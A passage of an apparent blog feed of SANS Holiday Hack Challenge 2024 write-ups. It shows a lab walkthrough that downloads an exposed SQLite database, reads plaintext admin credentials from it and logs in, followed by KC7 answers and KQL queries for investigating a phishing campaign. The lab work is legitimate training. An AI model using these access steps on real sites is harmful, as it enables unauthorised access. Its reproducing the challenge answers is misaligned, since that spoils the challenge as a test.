&amp;lt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;writing S_ISREG app/src/accounts/views.py&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;writing S_ISREG app/src/core/views.py&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Looking at the file &lt;code&gt;app/src/accounts/views.py&lt;/code&gt;, I found the reference to a sqlite DB:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;meta&#34;&gt;@accounts_bp.route(&lt;span class=&#34;params&#34;&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite&amp;quot;&lt;/span&gt;, methods=[&lt;span class=&#34;string&#34;&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;]&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;db&lt;/span&gt;():&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; send_from_directory(&lt;span class=&#34;string&#34;&gt;&amp;quot;static&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite&amp;quot;&lt;/span&gt;, as_attachment=&lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Downloading this file and exploring it, I found the user &lt;code&gt;santaSiteAdmin&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % wget http://34.44.88.211:8000/static/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2024-12-23 12:35:35 (80.2 KB/s) - ‘SantasTopSecretDB-2024-Z.sqlite’ saved [20480/20480]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % sqlite3 SantasTopSecretDB-2024-Z.sqlite &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sqlite&amp;gt; .tables&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alembic_version  &lt;span class=&#34;built_in&#34;&gt;users&lt;/span&gt;          &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sqlite&amp;gt; SELECT * FROM &lt;span class=&#34;built_in&#34;&gt;users&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Leveraging on the &lt;code&gt;santaSiteAdmin&lt;/code&gt; credentials I could login to the web page again, with &lt;code&gt;santaSiteAdmin&lt;/code&gt; being the answer to the gold trophy.&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act3" />
        <category term="Santa Vision" />
        <category term="Santa Vision A" />
        <category term="Ribb Bonbowford" />
        <updated>2025-01-03T12:01:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/12/02/2024-11-Microsoft-KC7/</id>
        <title>Microsoft KC7</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/12/02/2024-11-Microsoft-KC7/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄&lt;/span&gt; ❄ ❄&lt;br&gt;&lt;a href=&#34;http://kc7cyber.com/go/hhc24&#34;&gt;Answer&lt;/a&gt; two sections for silver, all four sections for gold.&lt;/p&gt;
&lt;h2 id=&#34;KQL-101&#34;&gt;&lt;a href=&#34;#KQL-101&#34; class=&#34;headerlink&#34; title=&#34;KQL 101&#34;&gt;&lt;/a&gt;KQL 101&lt;/h2&gt;&lt;p&gt;Learn and practice basic KQL queries to analyze data logs for North Pole operations.&lt;/p&gt;
&lt;h3 id=&#34;Section-1-KQL-101&#34;&gt;&lt;a href=&#34;#Section-1-KQL-101&#34; class=&#34;headerlink&#34; title=&#34;Section 1: KQL 101&#34;&gt;&lt;/a&gt;Section 1: KQL 101&lt;/h3&gt;&lt;h4 id=&#34;Question-1&#34;&gt;&lt;a href=&#34;#Question-1&#34; class=&#34;headerlink&#34; title=&#34;Question 1&#34;&gt;&lt;/a&gt;Question 1&lt;/h4&gt;&lt;p&gt;Type &lt;code&gt;let’s do this&lt;/code&gt; to begin your KQL training. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;let&amp;#39;s do this&lt;/code&gt; &lt;/p&gt;
&lt;h4 id=&#34;Question-2&#34;&gt;&lt;a href=&#34;#Question-2&#34; class=&#34;headerlink&#34; title=&#34;Question 2&#34;&gt;&lt;/a&gt;Question 2&lt;/h4&gt;&lt;p&gt;Once you’ve examined all the tables, type &lt;code&gt;when in doubt take 10&lt;/code&gt; to proceed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;when in doubt take 10&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-3&#34;&gt;&lt;a href=&#34;#Question-3&#34; class=&#34;headerlink&#34; title=&#34;Question 3&#34;&gt;&lt;/a&gt;Question 3&lt;/h3&gt;&lt;p&gt;How many elves did you find?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Employees&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;90&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;90&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-4&#34;&gt;&lt;a href=&#34;#Question-4&#34; class=&#34;headerlink&#34; title=&#34;Question 4&#34;&gt;&lt;/a&gt;Question 4&lt;/h4&gt;&lt;p&gt;Can you find out the name of the Chief Toy Maker?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Employees&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; role == &lt;span class=&#34;string&#34;&gt;&amp;quot;Chief Toy Maker&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project name&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Shinny Upatree&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;Shinny Upatree&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-5&#34;&gt;&lt;a href=&#34;#Question-5&#34; class=&#34;headerlink&#34; title=&#34;Question 5&#34;&gt;&lt;/a&gt;Question 5&lt;/h4&gt;&lt;p&gt;Type &lt;code&gt;operator&lt;/code&gt; to continue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;operator&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-6&#34;&gt;&lt;a href=&#34;#Question-6&#34; class=&#34;headerlink&#34; title=&#34;Question 6&#34;&gt;&lt;/a&gt;Question 6&lt;/h4&gt;&lt;p&gt;Can you find out the name of the Chief Toy Maker?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind = inner Employees on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.recipient == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.email_addr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name == &lt;span class=&#34;string&#34;&gt;&amp;quot;Angel Candysalt&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;31&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;31&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-7&#34;&gt;&lt;a href=&#34;#Question-7&#34; class=&#34;headerlink&#34; title=&#34;Question 7&#34;&gt;&lt;/a&gt;Question 7&lt;/h4&gt;&lt;p&gt;How many distinct recipients were seen in the email logs from &lt;a href=&#34;mailto:&amp;#x74;&amp;#x77;&amp;#x69;&amp;#x6e;&amp;#107;&amp;#108;&amp;#x65;&amp;#95;&amp;#x66;&amp;#x72;&amp;#111;&amp;#x73;&amp;#116;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x74;&amp;#111;&amp;#110;&amp;#x40;&amp;#115;&amp;#97;&amp;#110;&amp;#x74;&amp;#x61;&amp;#119;&amp;#x6f;&amp;#114;&amp;#107;&amp;#x73;&amp;#104;&amp;#x6f;&amp;#x70;&amp;#x67;&amp;#101;&amp;#101;&amp;#x73;&amp;#x65;&amp;#105;&amp;#x73;&amp;#108;&amp;#97;&amp;#x6e;&amp;#x64;&amp;#115;&amp;#x2e;&amp;#x6f;&amp;#114;&amp;#103;&#34;&gt;twinkle_frostington@santaworkshopgeeseislands.org&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; sender has &lt;span class=&#34;string&#34;&gt;&amp;quot;twinkle_frostington@santaworkshopgeeseislands.org&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct recipient&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;32&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;32&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-8&#34;&gt;&lt;a href=&#34;#Question-8&#34; class=&#34;headerlink&#34; title=&#34;Question 8&#34;&gt;&lt;/a&gt;Question 8&lt;/h4&gt;&lt;p&gt;How many distinct websites did Twinkle Frostington visit?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;OutboundNetworkEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.src_ip == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.ip_addr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name == &lt;span class=&#34;string&#34;&gt;&amp;quot;Twinkle Frostington&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct url&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;4&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-9&#34;&gt;&lt;a href=&#34;#Question-9&#34; class=&#34;headerlink&#34; title=&#34;Question 9&#34;&gt;&lt;/a&gt;Question 9&lt;/h4&gt;&lt;p&gt;How many distinct domains in the PassiveDns records contain the word green?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;PassiveDns&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; domain contains &lt;span class=&#34;string&#34;&gt;&amp;quot;green&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct domain&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;10&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-10&#34;&gt;&lt;a href=&#34;#Question-10&#34; class=&#34;headerlink&#34; title=&#34;Question 10&#34;&gt;&lt;/a&gt;Question 10&lt;/h4&gt;&lt;p&gt;How many distinct URLs did elves with the first name Twinkle visit?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;OutboundNetworkEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.src_ip == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.ip_addr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name has &lt;span class=&#34;string&#34;&gt;&amp;quot;Twinkle&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct url&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;8&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Operation-Surrender&#34;&gt;&lt;a href=&#34;#Operation-Surrender&#34; class=&#34;headerlink&#34; title=&#34;Operation Surrender&#34;&gt;&lt;/a&gt;Operation Surrender&lt;/h2&gt;&lt;p&gt;Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.&lt;/p&gt;
&lt;h3 id=&#34;Section-2-Operation-Surrender-Alabaster’s-Espionage&#34;&gt;&lt;a href=&#34;#Section-2-Operation-Surrender-Alabaster’s-Espionage&#34; class=&#34;headerlink&#34; title=&#34;Section 2: Operation Surrender: Alabaster’s Espionage&#34;&gt;&lt;/a&gt;Section 2: Operation Surrender: Alabaster’s Espionage&lt;/h3&gt;&lt;h4 id=&#34;Question-1-1&#34;&gt;&lt;a href=&#34;#Question-1-1&#34; class=&#34;headerlink&#34; title=&#34;Question 1&#34;&gt;&lt;/a&gt;Question 1&lt;/h4&gt;&lt;p&gt;Type &lt;code&gt;surrender&lt;/code&gt; to continue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;surrender&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-2-1&#34;&gt;&lt;a href=&#34;#Question-2-1&#34; class=&#34;headerlink&#34; title=&#34;Question 2&#34;&gt;&lt;/a&gt;Question 2&lt;/h4&gt;&lt;p&gt;Who was the sender of the phishing email that set this plan into motion?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject contains &lt;span class=&#34;string&#34;&gt;&amp;quot;surrender&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct sender&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;sender&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;surrender@northpolemail.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;surrender@northpolemail.com&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-3-1&#34;&gt;&lt;a href=&#34;#Question-3-1&#34; class=&#34;headerlink&#34; title=&#34;Question 3&#34;&gt;&lt;/a&gt;Question 3&lt;/h4&gt;&lt;p&gt;How many elves from Team Wombley received the phishing email?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject contains &lt;span class=&#34;string&#34;&gt;&amp;quot;surrender&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct recipient&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
